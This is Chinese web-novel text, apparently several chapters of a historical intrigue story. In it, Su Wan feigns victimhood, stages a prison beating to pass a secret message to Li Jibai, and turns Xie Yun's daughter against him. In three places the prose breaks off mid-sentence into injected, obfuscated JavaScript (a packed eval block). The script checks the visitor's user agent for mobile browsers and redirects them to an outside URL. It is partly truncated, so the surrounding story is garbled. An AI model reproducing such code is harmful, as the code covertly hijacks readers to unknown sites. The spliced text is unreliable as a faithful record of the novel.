刚踏入涵碧轩气派的大堂,喧嚣声便扑面而来。然而,当苏晚的身影出现在门口时,那喧哗声陡然低了下去。 无数道目光齐刷刷地射来,像无数细密的针扎在她身上。 “是苏晚,她怎么还敢出来?” “啧啧,方大人死了,李侯爷也因为她进了大牢,她倒跟没事人一样!” “不是说跟赵二爷要成婚了吗?这女人,手段可真了得……” “克夫吧?我看是克男人!沾上她的男人都没好下场!” 那些议论并未刻意压低,她脚步未停,然而,当她正要穿过大堂,走向通往楼上雅间的楼梯时。 一个面色赤红的中年汉子从旁边一桌站了起来,高声嚷道:“站住!你个扫把星!害死方大人,又害了李侯爷,现在还想来祸害赵二爷吗?!你这女人,天生就是个克男人的祸水!谁沾上谁倒霉!” 所有人都屏息看着这一幕,等着看这近日处于风口浪尖的寡妇如何应对。 苏晚停下了脚步。她看向那满脸怒容的汉子。她认出了这人,似乎是码头上一个的工头,以前在赵衾手下见过两次,并非什么重要角色。 她没有立刻反驳,只静静看着他,那双清澈的眼眸里,渐渐蓄起了水光,在酒楼明亮的灯光下,格外脆弱。 她咬了咬下唇,声音不大,却带着一种强忍屈辱的颤抖:“这位……大哥,民女与您素不相识,不知何处得罪了您,要受此污蔑?” 那汉子见她这副模样,气势更盛,唾沫横飞:“污蔑?谁不知道你苏晚是个什么货色!勾三搭四,水性杨花!明明已有婚约,为了往上爬又是勾引转运使又是陷害钦差。杀了他方铭岂还不够,还刺伤李侯爷,反咬一口把他送进大牢!” 苏晚的身体晃了下,她闭了闭眼,再睁开时,眼中水光更盛。她没有看那汉子,反而转向大堂内众多围观的食客,声音提高些许: “各位乡亲父老,在座的都是淮州城里明事理的人。民女苏晚,一介孀居妇人,无依无靠,来淮州经营绣坊,只为糊口,从不敢有半分非分之想。” 她顿了顿,眼泪顺着白皙的脸颊滑落,“方大人之死,公堂之上已有定论,是他欲行不轨,民女为保清白,失手所致。民女心中亦有愧,但若易地而处,哪位姐妹能任人欺凌而不反抗?” “至于李侯爷……”她声音哽咽,“民女敬他是钦差,是侯爷,可他……他因民女容貌肖似亡妻,便屡次纠缠,威逼胁迫!民女那夜去他房中,本是苦苦哀求,望他高抬贵手,放过民女与赵二爷的婚事,谁知他……他竟变本加厉!民女一个弱女子,惊恐绝望之下,失手伤他,实属无奈!这些,王知府和谢大人都可作证!民女若有半句虚言,天打雷劈!” 她声泪俱下,一个被权贵欺压,为保清白不得不拼死反抗的弱女子形象赫然浮现。尤其提到“苦苦哀求放过婚事”时,那份对赵衾的维护,更是触动了不少人。 “而赵二爷……”苏晚望向通往楼上的楼梯方向,“他是民女黑暗中的一线光。他不嫌弃民女出身低微,不畏惧流言蜚语,在民女最艰难的时候,给予庇护,许以婚约。这份情义,民女只愿以余生相报!民女今日来此,正是想与二爷商议……这风雨飘摇之时,我们的婚事,是否还要继续,是否……会连累了他。” 她最后这段话,声音低了下去,带着深深的不安,担忧自己会“克”了赵衾。 这一番话,情理兼备。先摆事实,再诉委屈,最后表露真情,层层递进,将自己彻底置于受害者和痴情女子的位置。 “这么一听……苏管事也是可怜。” “是啊,方铭岂什么人品,他与那个表妹!李侯爷……唉,知人知面不知心啊!” “这婚事要是真黄了,苏管事就没活路了。” 先前那跳出来的汉子,支吾着还想说什么,旁边已有看不下去的食客出声呵斥:“灌了几口黄汤就在这里撒泼,还不快滚!” 汉子见势不妙缩了回去,不敢再言。 苏晚见效果已达,不再多言,只是对着大堂众人,深深地福了一礼。然后转过身,用袖子轻轻拭去脸上的泪痕,一步步,有些踉跄地踏上了楼梯。 方才那一幕,已让许多人心中天平倾斜。 克夫?祸水?不,她只是个被命运捉弄的可怜女子罢了。 楼梯尽头,雅间门口,赵衾不知已站立了多久。他将楼下发生的一切尽收眼底,此刻看着苏晚发红的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢昀负手站在栏边,望着池中争食的锦鲤,背影显得有些沉凝。听到苏晚的脚步声,他并未立刻回头。 “苏管事,”他声音听不出喜怒,“本官听说,你与赵衾的婚期……定了?” 苏晚在他身后几步处站定,语气恭顺:“回大人,是。” 谢昀缓缓转身,“本官记得,前几日你才答应助本官收集赵衾罪证。如今这般大张旗鼓地操办婚事,是何用意?” 苏晚往前一步,声音压低了些:“大人明鉴。民女如此做,正是为了更有效地对付赵衾,助大人一举扳倒漕帮!” “哦?”谢昀挑眉,抬手示意她继续说。 “大人试想,”苏晚深吸一口气,语气渐趋冷静,“赵衾在淮州经营多年,树大根深,耳目众多。若民女暗中查探,稍有风吹草动,必被他察觉,打草惊蛇,前功尽弃。但若民女与他成了名正言顺的夫妻,入住涵碧轩甚至漕帮总舵,接触核心事务和查阅账册岂不是易如反掌?届时,民女作为他的‘内人’,所获证据,才更为致命!” 她顿了顿,余光瞥见谢昀的神色松动了些,继续道:“再者,这场婚礼,声势越大,赵衾便越放松警惕,越觉得高枕无忧。他定会邀请所有与他交好的官员商贾到场,试图借此展示势力,震慑旁人。这岂非正是我们摸清他关系网的大好机会?” 谢昀眼神动了动。 苏晚的话,确实说到了他的心坎里。他要的,本就是能一击致命的证据,更是能将漕帮连根拔起的机会。 苏晚趁热打铁,抛出了最关键的一环:“而且,民女已暗中命人,在婚礼当日,设法将那些曾被漕帮逼得走投无路的苦主,以及受尽盘剥的渔民农户,悄悄引至醉仙楼附近!” 她说这话时,垂着的眼帘猛地抬起,眼中闪过一抹冷光:“待婚礼最热闹,赵衾最为志得意满之时,让这些百姓当众哭诉冤屈,揭露漕帮恶行!届时,众目睽睽之下,赵衾表面光鲜的大婚变成民怨沸腾的‘公审’,他多年营造的威信将瞬间崩塌!” 她语气一顿,放缓了些,带着几分笃定,“谢大人您再适时出现,安抚百姓,主持公道,收集证言……如此一来,人证物证俱在,舆情汹汹,赵衾便是插翅也难逃!这淮州漕运的毒瘤,便可一举剜除!大人您在百姓心中的威望,也将如日中天!” 51. 第五十一章 谢昀听完,沉默了许久。他重新走回石凳坐下,手指无意识地敲击着桌面,显然在权衡利弊。 最终,他抬起头,看向苏晚的目光里,少了几分轻蔑,多了几分审视与不易察觉的忌惮。 这个女子,心思之缜密,手段之果决,谋划之深远,远超他最初预料。她不仅看穿了他的意图,更是主动将计就计,设计了一套更凌厉的反击方案。 “好一个‘大婚’变‘公审’!”谢昀缓缓开口,语气听不出褒贬,“苏管事,你当真让本官……刮目相看。” 苏晚谦卑地低下头:“民女不敢,只是为大人分忧,为百姓除害,竭尽所能罢了。” 谢昀不置可否地笑了笑,话锋忽然一转:“你的计划,听起来不错。不过,本官还有一事,需你相助。” “大人请讲。” “李既白。”谢昀吐出这个名字,眼神微冷,“他虽已入狱,但本官总觉,他手中那些关于十年前旧案的证据并未完全浮出水面。此人狡诈,必有多手准备。那些东西,始终是个隐患。” “大人的意思是……” “你去见他。”谢昀盯着苏晚的眼睛,“他如今身陷囹圄,心志动摇。而你……与他那位亡妻黎昭月容貌相似,又曾与他有过纠葛。或许,你能从他口中,套出那些证据真正的藏匿地点。” 让苏晚去见李既白?而且是去套取“证据”下落?谢昀这是想一石二鸟,既试探苏晚是否真的与李既白彻底反目,又想利用她挖出最后的隐患。 苏晚迅速权衡。 去见李既白,风险极高。谢昀必然派人监视,她的一举一动都会被放大。 “大人,民女与李侯爷已势同水火,再去见他,只怕……” “正因势同水火,他才更可能在你面前放松警惕,甚至……因爱生恨,口不择言。”谢昀语气带着诱导,“你放心,本官会安排妥当,让你单独见他。牢房之外,会有守卫,但内里,只有你们二人。你想问什么,想说什么,尽可便宜行事。本官只要结果——那些证据的下落。” 单独见面?这倒是出乎苏晚意料。谢昀竟敢如此安排,是对自己的掌控力极度自信,还是……另有深意? 苏晚深吸一口气,仿佛下定了决心:“既然大人信得过民女,民女愿往一试。只是,民女有一个请求。” “说。” “请大人务必安排民女独自与李既白相见,莫要让任何旁人,哪怕是大人的亲信,在近处监听窥探。”苏晚抬起头,目光恳切而坚定,“李既白此人机警多疑,若察觉有第三人在场,必定缄口不言,甚至可能反咬一口,污蔑民女。唯有营造出彻底私密的环境,才有可能让他卸下心防,吐露真言。” “当然,本官就是这个意思。不过时间有限,你需把握机会。” “是,民女明白。谢大人成全。” 离开凉亭,走在回廊上,初夏的风带着花香,苏晚的心却如同浸在冰水里。 去见李既白……在谢昀的眼皮底下,在他精心布置的牢笼里。 她知道,这很可能是一个陷阱,不过那又如何,谢昀怕是没有机会活到那个时候了。 * 淮州府大牢最深处,墙壁上间隔很远才有一盏油灯,投下摇曳的光晕,将两侧栅栏的影子拉扯得狰狞。 空气里弥漫着浓重的霉味和潮气,还有累月积存下来的馊臭。 苏晚跟在牢头身后,她今日特意换了一身鹅黄色衣裙,在这片灰暗的背景里,显得格外突兀。这是谢昀特意为她准备的,说是那位“黎夫人”最喜的亮色。 沉重的铁锁哗啦作响,木门被推开,露出更加狭窄的单人牢房,里面只有一张铺着薄薄稻草的石板床。 李既白靠坐在石床内侧的阴影里,闭着眼。他身上依旧穿着那日公堂上的常服,只是此时已沾满污迹,皱巴巴的。 他墨发凌乱,遮住了大半张脸。听到动静,他也并未睁眼。 牢头将苏晚送入,低声说了句“最多一炷香”,便退了出去,重新锁上了门。脚步声渐渐远去,这方小小的囚笼里,只剩下他们两人。 苏晚站在门口,离石床几步之遥。 她没有立刻开口,只是静静地打量他。看着他更加消瘦的脸颊,看着他唇上干裂的纹路,看着他即使闭着眼也掩不住的疲惫。 时间一点点流逝,牢房里安静得能听到彼此的呼吸声。 终于,李既白缓缓睁开了眼。 他的眼眸依旧深邃,只是里面原本的清冷,被一种深不见底的空茫所取代。他看向苏晚,目光在她那身鲜亮的鹅黄衣衫上停留了一瞬。 “你来了。”他开口,声音嘶哑干涩。 苏晚向前走了两步,居高临下地看着他。她扬起下巴,脸上露出一个快意的笑容,那笑容在昏黄的灯光下,显得有些扭曲。 “是啊,我来了。”她的声音清脆,“来看看你这位高高在上的靖安侯,如今落得何等下场。” 李既白看着她,没有说话。 “这地方还挺适合你的,李既白。”苏晚环顾四周,“阴暗,潮湿,发臭……就像你的心一样。待在这里,是不是让你感觉很熟悉,很自在?” 李既白的指尖几不可察地蜷缩了一下,依旧沉默。 “怎么?没话说了?”苏晚逼近一步,弯下腰,几乎与他平视,“当初在京城,在靖安侯府,你是何等威风?将我玩弄于股掌之间,看着我像个傻子一样,像个笑话一样被你耍得团团转!李既白,那时候,你可曾想过会有今天?” “棋子?用完即弃?”她冷笑,“李既白,在你眼里,我苏晚,就只是这么个东西?那我告诉你,现在你这个曾经风光无限的侯爷,正被你的‘棋子’踩在烂泥里!而我,要风风光光地嫁给赵衾,成为淮州城最有权势的女人之一!你说,这是不是报应?” 李既白终于有了反应。他抬眼,定定地看着苏晚近在咫尺的脸,“昭昭……” “别叫我昭昭!”苏晚猛地直起身,厉声打断他,“你不配!” 她看向他,语气尖锐,“不过,我今天来,不是跟你叙旧的,更不是来听你废话的。” 她捏住李既白的下巴,“我问你,你手里那些关于十年前旧案,关于谢家的证据,到底藏在哪里?” 李既白听到证据二字,他扯了扯嘴角,“证据?什么证据?谢昀自己心里有鬼,便觉得人人手中都有他的把柄?” “少装糊涂!”苏晚不耐地打断,“现在你人都进来了,守着那些死物有什么用?说出来,或许我还能给你个痛快!” 李既白看着她,“我若说,我手里什么都没有,你信吗?” “我信吗?”苏晚像是听到了天大的笑话,嗤笑出声,“李既白,四年前你骗我去西境,一年前你骗我成婚,你对我就没有半分真心!” 李既白闭上了眼,仿佛不愿再看她,也像是耗尽了力气。 “随你信不信。我没什么可说的。” “没什么可说的?”苏晚的指尖猛地收紧,指甲几乎要嵌进李既白下颌的皮肉里,“好,很好。李既白,这是你自找的。” 话音未落,她扬起手,用尽全身力气,狠狠一巴掌掴在李既白的脸上。 一声清脆的响声,李既白的头被打得偏向一侧,脸颊上浮起清晰的指痕。他闷哼一声,身体撞在冰冷的石壁上。 苏晚似乎还不解气,她双手抓住李既白胸口的衣襟,用力摇晃,嘶声道: “你以为你不说,我就查不出来?” 李既白任由她推搡捶打,靠在墙上。他喘息着,没有反抗,也没有回应。 “看着我!” 苏晚扑上去,一边低吼,一边借着俯身的动作,膝盖微曲,贴近他的腿侧。而她的左脸几乎靠在了李既白那红肿炽热的脸上,声音压得极低,快得像一阵风掠过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874423|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' : “蠢货!证据往北送了,二哥已接应。撑住,等我。” 这几句话快如闪电,夹杂在她激烈的喘息中。说话的同时,她手上动作不停,又狠狠捶打了他肩膀两下,却巧妙避开了他胸前的旧伤。 李既白浑身一僵,耳后的触感还未散去。他喉结滚动,原本涣散的目光渐渐凝聚,指尖在稻草上悄然蜷缩,又缓缓松开。 “还是不说?”话音刚落,苏晚直起身,抬脚便往他小腿上踹去,力道却拿捏得恰到好处,只看着凶狠,并未真的伤筋动骨。 李既白的眼眶忽然有些发热,他看着眼前这个穿着鹅黄衣衫的女子,忽然想起多年前,黎昭月也是这样,穿着相似的颜色,在前面放着纸鸢,对他笑靥如花。 他闭上眼,掩去眼底的湿意,再睁开时,已是一片平静,甚至还勾起了嘲讽的笑意。 “你以为这样,就能让我开口?”他的声音依旧嘶哑,却多了几分底气,“苏晚,你太天真了。” 苏晚见他神色松动,知道他已接收到消息,“天真?”她直起身,“我给你最后一次机会,说不说?” 李既白靠回墙壁,闭上眼,语气淡漠:“无话可说。” 苏晚深吸一口气,整理了一下略显凌乱的衣裙和鬓发,重新扬起下巴,“李既白,你不说,没关系。等你被送上法场,看着你的人头落地的时候,你就会知道,你守着那些破烂,是多么可笑!” 她最后深深地看了他一眼,然后,她不再停留,转身走到牢门边,用力拍打木门,“开门!跟这种死到临头还嘴硬的废物,没什么好说的了!” 门外传来钥匙转动的声音,牢头打开了门。 她没有回头,径直走了出去。鹅黄色的裙摆拂过门槛,消失在视野里。 牢门再次关上,落锁,发出沉闷的声响。 牢房内重新陷入昏暗,只剩下那盏油灯微弱的光,和角落里李既白一动不动的身影。 许久,许久。 李既白才极其艰难地抬起手,抚上自己火辣辣的脸颊,又摸着被她抓扯过的衣襟。那里,似乎还残留着她指尖的温暖。 他闭上眼,喉间发出一声压抑到极致的哽咽,身体随之起伏。 他听懂了。 每一个字,都听懂了。 “撑住,等我。” 这四个字,像漫漫长夜里骤然刺破的星子,在李既白死寂的心湖里投下一点不灭的光。 昭昭,你竟敢独自一人,走到这一步。 他知道,谢昀一定在听着。她刚才那番激烈的“逼问”和“殴打”,是表演给谢昀看,证明她与他彻底决裂。 她成功了,至少,暂时骗过了谢昀。 而他,除了在这里,像一个真正的废物一样,什么都做不了。连配合她演好这出戏,都显得如此无力。 他撑起身,脸上火辣辣的疼痛此刻成了支撑他保持清醒的唯一凭依。他必须撑住。无论前路是刀山火海,还是万丈深渊,只要黎昭月还在这局中,只要她还让他“等”,他就必须活着,必须等下去。 地牢外的甬道里,脚步声再次响起,由远及近,停在牢门外。 锁链响动,门被打开。进来的不是苏晚,而是谢昀身边的亲随谢忠,身后跟着两名狱卒。 谢忠站在门口,目光扫过牢内狼藉的景象和李既白脸上的红痕,“李既白,苏管事的话,你可听清楚了?识时务者为俊杰。你如今已是阶下囚,何必还守着那些无用的东西?早些交代,或许还能少吃些苦头。” 李既白抬眸,目光坚毅,“本官……无话可说。” “看好他。”谢忠说完便转身离开了。 牢门再次锁上。 李既白将身体蜷缩进石壁的阴影里,仿佛要与这无边的黑暗融为一体。 昭昭,我等你。无论要等多久,无论还要承受什么。这一次,我不会再让你独自面对。 52. 第五十二章 苏晚走出淮州府大牢时,午后的阳光正烈,刺得她微微眯起了眼。她站定在台阶上,深吸了一口外面微带暑气的空气,仿佛要将肺腑里那阴冷霉烂的气息全部换出去。 “苏管事,”谢昀派来陪同的管事早已候在阶下,“大人请您回驿馆歇息。” “有劳。” 回驿馆的马车上,她靠着车壁,闭目养神。 他听懂了,她知道他听懂了。 这就够了。 接下来,她必须将所有的精力,投入到即将到来的大婚之中。 回到驿馆,谢昀并未立刻召见她,似乎是对她在牢中的表现还算满意,给了她平复的时间。苏晚乐得清静,将自己关在房中,仔细推敲着婚礼当日的每一个细节。 赵衾那边送来了大婚礼服的式样图,用料皆是顶级云锦苏绣,纹样繁复华丽,价值不菲。随图附上的,还有一张醉仙楼的布局图和宾客初步名单。名单上密密麻麻,几乎囊括了淮州及附近州府所有有头有脸的人物,甚至还有一些与京城有联系的官绅名字。 第三日午后,谢昀再次召见。 这次不在凉亭,而是在他临时书房的外间。谢昀正对着一幅淮州水道图凝神细看,见苏晚进来,才转过身。 “苏管事在牢中所为,本官已听闻。”谢昀坐在书案后,神色平淡,“李既白……依旧嘴硬?” 苏晚垂首:“是民女无能,未能撬开他的嘴。他……对十年前旧事,讳莫如深。” “无妨。”谢昀摆摆手,似乎并不十分意外,“当务之急,已不在他身上。”他话锋一转,“赵衾的婚礼,筹备得如何了?” “回大人,一切按计划进行。赵二爷很是上心。”苏晚答道。 “嗯。”谢昀从案头拿起一份文书,递给苏晚,“你看看这个。” 苏晚接过,展开一看,心中微震。这是一份关于漕帮近年来“劣迹”的粗略汇总,强占码头、殴伤人命、贿赂官员……林林总总,触目惊心。 谢昀的人,动作也不慢。而且,他给出的这份东西,显然比她自己暗中查到的更具“说服力”。 谢昀声音低沉,“本官已派人暗中接触了其中部分渔民,许以重利,晓以利害。届时,他们会按计划出现,陈诉冤情。你要做的,便是在合适的时机,引导他们。” “大人思虑周全。”苏晚垂眸,“此外,民女觉得,婚礼当日,不妨让淮州府衙的衙役也在附近维持秩序,以示官府对此次‘民怨’的重视。待百姓哭诉时,衙役可路过,将其‘请’去府衙录下口供,形成正式案卷。如此一来,赵衾更难抵赖。” “妙!”谢昀抚掌,“苏管事果然心思缜密。就按你说的办。” 他顿了顿,语气放缓,带着一□□哄:“此事若成,你便是首功。本官承诺你的,绝不会食言。届时,你便是协助朝廷铲除地方恶霸的功臣,过往种种,皆可一笔勾销。一个新的身份,一份安稳的富贵,唾手可得。” 又是画饼。苏晚心中毫无波澜,面上却适时露出感激与憧憬:“民女……全凭大人安排。” 正说着,书房外传来轻轻的叩门声,随即,一个头戴珠翠的年轻妇人在侍女的陪同下,款款走了进来。 妇人年约二十四五,容貌姣好,只是眉眼间带着一股挥之不去的郁色。她正是方铭岂的遗孀,谢昀的二女儿,谢文芯。 “父亲。”谢文芯对着谢昀福了福身,目光却似有若无地瞟向坐在下首的苏晚。 谢昀微微蹙眉:“文芯,你怎么来了?不是让你多陪陪你母亲?” “母亲睡下了,女儿想着父亲公务繁忙,特来请安。”谢文芯声音柔婉,视线却牢牢钉在苏晚身上,“这位……便是苏管事吧?久仰了。” 苏晚起身,依礼道:“民女苏晚,见过方夫人。” “苏管事不必多礼。”谢文芯嘴角扯出一抹极其僵硬的笑,“我早就想见见苏管事了。我夫君生前,可是对苏管事……念念不忘呢。” 最后几个字,她说得又轻又慢,带着一种咬牙切齿的意味。 气氛瞬间微妙起来。 谢昀眉头皱得更紧,显然对女儿此刻出现且语带机锋有些不悦,但并未斥责。 苏晚面色不变,依旧垂着眼睫:“方夫人节哀。方大人……或许是念及旧情,民女并不十分清楚。那日烟雨楼之事,实属意外,民女心中亦感不安。” “不安?”谢文芯向前走了一步,距离苏晚更近,“你一句不安就完了?我夫君他……他就这么不明不白地死了!还是死在你手里!苏晚,你告诉我,那晚到底发生了什么?是不是你勾引他,然后杀人灭口?!” 这话已是极其严重的指控。 “文芯!休得胡言!”谢昀终于出声呵斥,“此事已有公论,是方铭岂行为不端,咎由自取,你莫要在此失态!” “父亲!”谢文芯转身看向谢昀,眼泪流了下来,“您也帮着她说话?铭岂他……他再不好,也是我的夫君,是您女婿啊!他就这么死了,您让我以后怎么活?让我的孩子以后怎么做人?都是因为这个女人,这个扫把星!” 她情绪激动,完全沉浸在自己的悲伤与愤怒中。 谢昀面露不耐,却也不好对刚丧夫的女儿过于严厉。 苏晚看着这场面,忽然对谢昀盈盈一拜,“大人,方夫人痛失夫君,心情激荡,民女理解。或许……让民女与方夫人单独说几句话,解释清楚那晚的误会,也能稍慰夫人之心。” 谢昀审视地看着她,又看看哭得难以自抑的女儿,沉吟片刻,挥了挥手:“也罢。你们去隔壁厢房说吧。文芯,注意你的身份!莫要再口出恶言!” 谢文芯用帕子拭泪,狠狠瞪了苏晚一眼,率先转身向隔壁走去。苏晚对谢昀再行一礼,跟了上去。 厢房不大,陈设简单。侍女被谢文芯留在门外。房门一关,隔绝了外面的视线。 谢文芯脸上的泪痕未干,却已没了方才的悲切,只剩下冰冷的恨意。她转身,扬起手就要朝苏晚脸上扇去。 苏晚早有防备,微微侧身,轻易避开了这一巴掌,同时抬手,抓住了谢文芯的手腕。 “方夫人,”她声音淡淡,“这一巴掌,您打了我,出了气,就能让方大人活过来吗?就能改变他背着你,在烟雨楼私会其他女子的事实吗?” 谢文芯被她说得一怔,随即更加愤怒,用力挣扎:“你胡说!铭岂他……他只是一时糊涂!都是你这个贱人勾引他!” “勾引?”苏晚松开她的手,后退一步,与她拉开距离,“夫人,您当真觉得,方大人对我,是‘一时糊涂’?” 她看着谢文芯瞬间苍白的脸色,缓缓道:“方大人生前如何,夫人比民女更清楚。他在外有多少红颜知己,有多少逢场作戏,甚至……有多少利用女色达成的交易。夫人您难道真的一无所知?烟雨楼那晚,他对我,与其说是‘情’,不如说是‘欲’,是‘掌控’。他以为拿捏住了我的把柄,便能让我就范,成为他手中的另一个工具。” 苏晚的话,像一把冰冷的解剖刀,毫不留情地剥开方铭岂光鲜外表下的龌龊。 谢文芯浑身颤抖,嘴唇翕动,却反驳不出一个字。因为苏晚说的,正是她内心深处不愿承认的事实。 “夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877231|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,您恨我,是因为我‘杀’了他。” 苏晚语气放缓,带上了一丝同情,“可您有没有想过,真正‘杀’了他的,是他自己的贪欲和野心?就算那晚没有我,也会有张晚李晚。他走的那条路,本就随时可能万劫不复。我的出现,只是加速了这个过程。” 谢文芯颓然倒退两步,跌坐在身后的椅子上,双手捂住脸,无声痛哭起来。这一次的哭,不再是做戏,而是长久压抑的委屈,和幻灭后的崩溃。 苏晚看着她,没有上前安慰。 有些脓疮,必须彻底捅破,才能挤出毒素。 良久,谢文芯的哭声渐歇,她抬起头,眼睛红肿,看着苏晚,恨意未消,却多了几分空洞。“那,那我该怎么办?铭岂死了,留下我们孤儿寡母。父亲他,他眼里只有他的大事,何曾真正为我们母女打算过?谢家……谢家不过当我们是维系与方家关系的工具罢了!” 她终于说出了心底最深的恐惧:被家族抛弃,未来无依。 苏晚走到她面前,蹲下身,扶上她的肩膀,“夫人,方大人不在了,但您还有儿子,还有谢家女儿的身份。您不能倒。您得为自己,为您的儿子,争出一条路来。” “争?怎么争?”谢文芯迷茫。 “谢家如今在淮州最大的对手是谁?” 谢文芯想了想:“是,是赵衾?还有……李既白?” “李既白已不足为虑。”苏晚淡淡道,“但赵衾,以及他背后的漕帮,才是谢家真正想拔除的钉子。您父亲正在筹划此事。夫人,您若想在未来谢家的布局中有一席之地,不被边缘化,何不主动参与到这件事中来?” 谢文芯眼中闪过一丝光亮,随即又黯淡下去:“我一个内宅妇人,能做什么?” “您能做很多。” 苏晚声音更低,“比如,去‘关心’下那位同样失去依靠的曾小姐。她与方大人似乎也曾有过些交集?如今她自尽未遂,又被外界的人盯着,处境微妙。您以谢家女儿的身份去探望她,合情合理。或许能从她那里,听到一些……有趣的消息呢?这些消息,对您父亲,或许很有用。” 谢文芯怔住了,她没想到苏晚会提到曾钦宁,更没想到会给她指出这样一条路。 “曾钦宁……她肯说吗?”谢文芯犹豫道。 “说不说,在于您怎么问,也在于,她怎么想。”苏晚站起身,“她如今,未必不想找一条生路。而夫人……谢家才是淮州现在的主宰。” 谢文芯低头沉思。丧夫之痛和对未来的恐慌,正在被一种新的可能性所取代。 苏晚知道,火候已到。 她不再多言,只道:“夫人可以慢慢考虑。民女言尽于此。只是提醒夫人,明日,似乎是个特别的日子?民女听闻,谢三爷往年此日,总会独自静思……” 她说的含糊,但“特别的日子”几个字,却像针一样刺了谢文芯一下。她想起,明日似乎是父亲一个故人的忌日?父亲确实每年此日都心情不佳,闭门谢客。 苏晚不再停留,转身拉开房门,走了出去。 明日,六月初五。 前世谢昀的“死期”。 * 天色阴沉,铅灰色的云层压得很低,没有一丝风。 谢昀今日心情不佳。这并非因为某个故人的忌日,而是江南汛期将至,他收到的几份关于河道疏浚与钱粮拨付的公文,都透着让他不悦的推诿。更令他烦躁的是,北边似乎有些异动。 他屏退了大部分仆役,只留了一名最信任的老仆在门外听候。 就在这时,书房门被轻轻叩响。 “谁?” 53. 第五十三章 “父亲,是女儿。”门外传来谢文芯刻意放柔的声音。 谢昀眉头微蹙,对这个昨日有些失控的女儿,他并无太多耐心。“何事?若无要紧事,晚些再说。” “父亲……”谢文芯的声音里带上了哭腔,“女儿……女儿想去看看曾家妹妹。如今铭岂不在了,女儿心里堵得慌,想找人说说话。求父亲允准。” 谢昀本想拒绝,但听到她提及方铭岂,又念及她丧夫之痛,兼曾钦宁与李既白的关系,让谢文芯去探探口风,或许也不错。 “罢了。”谢昀揉了揉眉心,“你去吧。多带两个人,莫要失了礼数,也莫要乱说话。” “是,女儿多谢父亲。”谢文芯如释重负。 她带着两名侍女,来到了曾钦宁养病的院落。与前几日“陪伴”不同,谢文芯的到来,带着一种同病相怜的凄楚。 曾钦宁靠坐在窗边的软榻上,气色依旧苍白,“方夫人。” 谢文芯让侍女将带来的滋补品放下,自己走到榻边坐下,未语泪先流:“曾妹妹,我、我心里苦啊……” 她哭得情真意切,将失去丈夫的恐惧和对未来的迷茫半真半假地倾吐出来。她不再像昨日对苏晚那样充满攻击性,而是将自己塑造成一个同样无依无靠的人。 曾钦宁听着,偶尔递过帕子,轻声安慰几句。她的目光落在谢文芯红肿的眼睛,心中却明了了几分。 这位方夫人,不是单纯来哭诉的。 果然,哭诉渐歇,谢文芯擦了擦眼泪,“曾妹妹,你说我们女人的命,怎么就这么苦?依附父兄,依附夫婿,到头来……都是一场空。我们这些女儿家,用完了,或是碍事了,随手就能弃掉。” 这话说得大胆,几乎是直指谢昀的冷酷。曾钦宁眸光微闪,没有接话,只是轻轻叹了口气。 谢文芯觑着她的脸色,又道:“妹妹,我听说,你与欧阳家,还有些牵连?如今这般境地,他们可还管你?” 曾钦宁摇头,声音细若蚊蚋:“夫人……莫要再提了。钦宁如今,只想寻一条活路。” “活路?”谢文芯身体前倾,声音压得更低,“妹妹,不瞒你说,我也在寻活路。父亲他明日就要亲自提审李既白,据说已掌握了新的线索,要彻底坐实他的罪名,逼问出那要命的证据所在。此事过后,淮州局势必有大变。我们若不能在此之前,为自己寻个倚仗,或是……立下些功劳,只怕日后……” 她的话半遮半掩,但意思再明显不过:谢昀要对李既白下死手,清算在即。她们必须主动做点什么,才能在未来分得一杯羹,而不是被清扫出去。 曾钦宁仿佛被她说动,眼中流露出挣扎与希冀交织的光芒。她沉默了许久,才仿佛下定决心般,“夫人……钦宁确有一事,或许,或许能帮到老爷,也或许能换我一条生路。” “什么事?”谢文芯心跳加速。 “关于……侯爷藏匿证据的地点。”曾钦宁的声音几乎低不可闻,“我曾无意中听他与墨痕提及,淮州城内,有一处他早年间秘密购置,连靖安侯府都未必知晓的宅子,地契用的是化名。关键之物,或许就藏在那里。” 谢文芯眼睛一亮:“当真?在何处?” 曾钦宁摇了摇头:“具体地点,我也只听了个大概,在城西柳条巷附近,具体却是不知。此事关乎重大,钦宁不敢妄言,更不敢直接禀报老爷,怕……怕说不清楚,反惹猜疑。若是夫人能代为转圜,让钦宁有机会面见老爷,亲口说出线索,或许……老爷能信几分,也能……念在钦宁这份功劳上……” 她欲言又止,留足悬念。 谢文芯心中快速盘算。这消息若是真的,无疑是份大功!她从中牵线,引曾钦宁面见父亲,既显了自己的孝心与能耐,更能将这份功劳稳稳攥在手中。至于曾钦宁往后是生是死,能否真得父亲庇护,便要看她自身的造化,以及父亲彼时的心意了。 “好!”谢文芯握住曾钦宁冰凉的手,“妹妹放心,我这就去禀报父亲!你且准备一下,稍后我便带你过去!” 约莫半个时辰后,谢文芯带着依旧弱不禁风模样的曾钦宁,再次来到了谢昀的书房外。 听完谢文芯添油加醋的禀报,谢昀的目光落在曾钦宁身上:“你说,你知道李既白藏匿证据的可能地点?” 